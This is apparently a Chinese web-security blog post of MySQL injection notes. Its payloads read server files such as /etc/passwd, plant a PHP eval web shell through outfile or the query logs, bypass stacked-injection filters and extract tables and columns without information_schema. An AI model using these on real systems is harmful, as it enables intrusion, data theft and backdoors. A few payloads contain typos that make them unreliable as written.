sql注入杂项

sql注入的确很杂,很多内容,这里将以前积累的一些东西总结到一起,方便查阅。

mysql注入读写文件

一般方法读写文件

根本条件

  • 数据库允许导入导出
  • 当前用户具有文件操作权限

查询是否有文件读写权限

查询user表:

1
select file_priv from mysql.user where user="root"; 

查询secure-file-priv变量

1
2
3
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:
无内容,表示无限制。
为NULL,表示禁止文件读/写。
为目录名,表示仅允许对特定目录的文件进行读/写。

mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

修改方法:

  • 通过修改my.ini文件,添加:secure-file-priv=
  • 启动项添加参数:mysqld.exe --secure-file-priv=

读文件

1
2
3
4
select load_file(file_path);

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; // 读取服务端文件
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; // 读取客户端文件

写文件

1
2
3
select 1,"<?php @eval($_POST['1']);?>" into outfile '/var/www/html/1.php';

select 2,"<?php @eval($_POST['1']);?>" into dumpfile '/var/www/html/1.php';

outfile函数可以导出多行,而dumpfile只能导出一行数据;
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式(适用于二进制文件)

利用日志写shell

利用日志写shell是要在拿到sql shell的前提下(能执行show、set等命令),并且要有足够权限才可以。

普通日志
打开general log选项,所有的查询语句都在general log文件中以可读的方式得到。但是这样general log文件会非常大,所以默认是关闭的。

操作步骤:

  1. 查询日志配置情况:show variables like 'general_log%';,(记录下来,便于恢复)。
  2. 开启日志:set global general_log='on';
  3. 设置日志文件:set global general_log_file='/var/www/html';
  4. 写入数据:select '<?php eval($_POST["1"]);?>';

慢查询日志
慢查询日志也是记录执行的语句,和普通日志不同的是它只会记录超过指定时间的语句(long_query_time,默认10秒)。

查看设置的时间:show global variables like '%long_query_time%';

操作步骤:

  1. 慢查询日志配置情况:show variables like 'slow_query_log%'; ,(记录下来,便于恢复)。
  2. 开启慢查询日志:set global slow_query_log=1;
  3. 设置慢查询日志文件:set global slow_query_log_file='/var/www/html';
  4. 写入数据:select '<?php eval($_POST["1"]);?>' or sleep(11);

堆叠注入

一般来说,sql语句以分号;结尾。但后端如果开启了多语句执行,则可以通过分号连接多个sql语句并执行。
堆叠注入产生的原因就是如此。

这里记录一些绕过堆叠注入的一些方法。

使用预编译+16进制

1
2
3
4
5
prepare x from "select user()";
execute x;

prepare x from 0x73656C65637420757365722829; // "select user()"
execute x;

使用handler代替select查询

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。

它是mysql专用的语句,并没有包含到SQL标准中。

用法:

1
2
3
4
5
6
handler 表名 open;               // 打开一个表用以查询
handler 表名 read first; // 获取表中第一行数据
handler 表名 read next; // 获取表中下一行数据
handler 表名 read first where 条件; // 获取表中满足条件的第一行数据
handler 表名 read next where 条件;
handler 表名 close; // 关闭表

一些tricks

代替information_schema库获取表名

innodb

在mysql中,存储数据的默认引擎分为两种,一类是在5.5.x之前的MyISAM数据存储引擎,另一类是5.5.x版本后的inodb引擎。并且在5.5.x版本之后将innodb作为数据库的默认引擎。

在mysql5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats(在mysql库中),两个库中都会存储数据库和对应的数据表(没有字段名)

payload:

1
2
3
select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()

select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

sys

mysql5.7+ 的sys库:由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys.schemma,基础数据来自于performance_chemainformation_schema两个库,本身数据库不存储数据。

sys.schema_auto_increment_columns

  • 该视图的作用简单来说就是用来对表自增ID的监控。该视图中,存有具有自增列到表到信息。
    table_schema 表所在库
    table_name 表名

sys.schema_table_statistics_with_buffer

  • 查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间降序排序

  • 数据来源:performance_schema.table_io_waits_summary_by_tablesys.x$ps_schema_table_statistics_iosys.x$innodb_buffer_stats_by_table
    table_schema 表所在库
    table_name 表名

payload:

1
2
3
4
5
select group_concat(table_name) from sys.schema_suto_increment_columns where table_schema=database();

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();

select group_concat(table_name) from sys.x$schema_flattened_keys;

使用join获取列名(报错注入中)

现已知表名:flag,通过表名获取列名,如下:

  • 第一个列名:select * from(select * from flag join (select * from flag)b)c

    获得第一列的列名,id

  • 第二个列名:select * from(select * from flag a join (select * from flag)b using(id))c

    获得第二列的列名,flag

  • 第三个列名:select * from(select * from flag a join (select * from flag)b using(id,flag))c

无列名爆数据

使用union select

sql中的反引号
反引号在mysql中用来区分保留字
例如表A中有一列名为select,要查询该列:

1
2
select select from A;           // 错误
select `select` form A; // 正确

payload:

1
select `1` from (select 1,2,3 union select * from 表名)a       // 子查询中select的数目为列数。

通过列数 1,2,3… 再union带出整张表数据。

这一步的目的是改变/替换字段名(替换为1,2,3,4…)。

1
select group_concat(a.1,'-'a.2,'-',a.3) from (select 1,2,3 union select * from 表名)a;

盲注的方法

如果表中只有一列可以 substr((select * from table),1,1)='x'进行盲注

如果有多列,需要将查询语句与相同数量的列进行比较,再配合 <= 进行盲注

1
select (select 1, "abc") = (select * from table);

通过 “<” 替换 “=” ,可以逐字符检索出数据。
但是需要注意:MySQL中的字符串比较在默认情况下是不区分大小写的。

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2022/03/02/web安全/sql注入杂项/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog